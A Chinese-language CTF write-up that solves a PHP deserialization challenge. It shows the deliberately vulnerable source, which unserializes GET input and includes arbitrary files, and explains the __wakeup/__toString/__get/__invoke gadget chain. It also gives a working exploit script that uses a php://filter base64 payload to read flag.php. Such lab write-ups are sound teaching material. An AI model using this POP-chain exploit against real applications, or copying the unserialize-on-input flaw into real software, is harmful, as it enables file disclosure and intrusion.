我们来看题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

//$s = Modifier();
//$s -> var = 'flag.php'
//$t = Test();
//$t -> p = $s
//$a = Show();
//$b = Show();
//$a -> str = $t;
//$a -> source = $b;

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

我们看到append后面是文件包含,include了value变量,说明我们最后要将其赋值为flag.php

在modifier类中有__invoke()函数

1
__invoke()#触发条件,类被当作函数调用

所以我们要初始化一个类,当作函数调用。

我们看到Test类中image-20220506005517410

确实被当作函数调用,我们只需要将p设置成类即可,然后让__get()函数触发

1
__get()#触发条件,访问类中一个不存在的对象时,	自动调用。

这回看到show类中,__toString()函数

1
__toString()#在类被当作字符串处理时,所以我们要给source赋一个类这样str->source就出发了_toString

然而不能把类属性字符串化,

这样就触发了__get()函数。

__wakeup()函数

1
__wakeup()#触发条件,对包含此函数的类的序列化字符串反序列化时自动触发。

对Show类反序列化,触发wakeup(判断条件没啥用),赋值类给source,将类赋值给str,触发__toString(),从而触发get函数,然后触发invoke函数,得到flag.php.

我们来看wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$a = new Show();
$b = new Show();
$a -> source = $b;//这样让类被当作字符串处理,调用_toString()
$b -> str = new Test();//Test类中不含source,调用str-source时触发_get()
($b -> str) -> p=new Modifier();//类被当作函数调用,继续触发_invoke()
echo urlencode(serialize($a));#序列化a
?>
//$s = Modifier();
//$s -> var = 'flag.php'
//$t = Test();
//$t -> p = $s
//$a = Show();
//$b = Show();
//$a -> str = $t;
//$a -> source = $b;


所以根据源码,它会先反序列化,然后进行我们的一连串魔术方法,最后包含flag.php